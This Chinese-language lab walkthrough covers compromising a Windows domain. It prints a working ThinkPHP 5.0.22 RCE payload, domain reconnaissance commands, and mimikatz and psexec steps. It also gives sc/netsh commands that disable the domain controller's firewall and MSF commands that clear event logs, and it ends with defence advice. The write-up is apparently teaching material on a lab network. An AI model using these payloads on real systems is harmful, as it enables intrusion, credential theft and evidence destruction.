记一次曲折的域环境渗透测试 III
字数 1499 2025-08-12 11:33:43
域环境渗透测试实战教学文档
一、环境信息
- 目标系统1:Win7 + phpstudy + thinkphp (5.0.22)
- IP: 192.168.1.101
- IP: 192.168.138.136
- 目标系统2:Win2008
- IP: 192.168.138.138
- 攻击机:Kali Linux
- IP: 192.168.1.128
二、WEB渗透阶段
2.1 信息收集
- 网站识别:访问网页发现使用ThinkPHP5框架
- 目录扫描:
- 发现存在add.php后台,但无密码
- 版本确认:
- 通过错误页面确认版本为ThinkPHP V5.0.22
2.2 漏洞利用
ThinkPHP V5.0.22 RCE漏洞利用:
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
利用步骤:
- 使用RCE读取add.php文件内容
- 解密获得后台密码:
admins - 上传Webshell(可选择使用大马或自定义一句话木马)
三、后渗透阶段
3.1 基础信息收集命令
ipconfig /all # 查看本机IP和域信息
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看ARP缓存
net start # 查看运行的服务
net share # 查看共享资源
net share ipc$ # 开启IPC共享
net share c$ # 开启C盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" # 建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" # 建立C盘共享
dir \\192.168.xx.xx\c$\user # 查看远程主机文件
net config Workstation # 查看计算机信息
net user # 查看本机用户
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组
net view /domain # 查看域信息
net user 用户名 /domain # 获取指定域用户信息
net group /domain # 查看域工作组
net group 组名 /domain # 查看特定工作组
net time /domain # 查看域时间服务器
net group "domain admins" /domain # 查看域管理员
net group "domain computers" /domain # 查看域内主机
net group "domain controllers" /domain # 查看域控制器
net group "Enterprise Admins" /domain # 查看企业管理员组
3.2 内网信息收集
- 通过ARP信息发现域名:
sun.com - 尝试ping域名确认可达性
3.3 Cobalt Strike利用
- 上传后门:通过Webshell上传CS后门
- 执行上线:执行后门程序使目标上线CS
- 提权操作:使用CS的提权功能
- 凭证获取:使用mimikatz获取管理员凭证
- 获取到administrator和leo的密码
- 横向移动:使用psexec登录其他主机(需445端口IPC$共享)
3.4 内网扫描
- 端口扫描:使用CS的portscan功能扫描内网
- 指定网段、端口、协议(ICMP/ARP/none)和线程
- 发现域控:通过扫描确认域控制器(DC)位置
- 绕过防火墙:
- 创建SMB监听器(防火墙阻止常规端口流量)
- 使用psexec64进行横向移动
- 获取域管理员凭证:成功获取admin密码
3.5 Metasploit框架利用
- 生成监听器:在MSF中创建监听
- 上传执行:上传MSF后门并执行
- 提权:提权至SYSTEM权限
- 内网扫描:
- 使用ARP扫描内网
- 建立内网路由
- 开启代理(7777端口)
- 凭证获取:使用kiwi模块获取密码凭证
- 横向移动尝试:
- 直接使用psexec失败(防火墙阻挡)
- 需要其他方法绕过防火墙
3.6 IPC连接关闭防火墙
标准方法(需要管理员权限):
netsh advfirewall firewall add rule name="f.exe" dir=in program="e:\f.exe" action=allow
netsh advfirewall firewall delete rule name="f.exe"
实际操作步骤:
-
与域控建立IPC连接:
net use \\192.168.138.138\ipc$ dc123.com /user:administrator -
使用SC创建计划任务关闭防火墙:
sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \\192.168.138.138 start unablefirewall注:虽然显示失败但实际执行成功
-
创建正向监听:由于DC不出网,创建正向监听
-
再次尝试psexec:成功上线并获取admin密码
3.7 远程登录
- 开启RDP:
run post/windows/manage/enable_rdp - Windows远程登录:使用获取的凭证进行RDP登录
3.8 日志清除
MSF日志清除方法:
run event_manager -i
run event_manager -c
替代方法:通过服务器管理器清除日志
四、关键知识点总结
- ThinkPHP漏洞利用:V5.0.22存在RCE漏洞,可通过特定URL格式执行系统命令
- 内网信息收集:ARP、net命令系列是内网信息收集的核心
- 凭证获取技术:mimikatz和kiwi是获取Windows凭证的利器
- 横向移动方法:
- psexec/psexec64
- IPC$共享利用
- 计划任务执行
- 防火墙绕过:
- 使用SMB协议绕过端口限制
- 通过计划任务执行防火墙关闭命令
- 权限维持:
- 多种后门上传方式
- RDP开启
- 痕迹清除:事件日志管理
五、防御建议
- 及时更新框架和系统补丁
- 限制不必要的共享和IPC$连接
- 加强防火墙规则,限制内网横向移动
- 实施严格的权限管理,特别是域管理员账户
- 监控异常的计划任务创建和服务修改
- 启用详细的日志记录并定期审计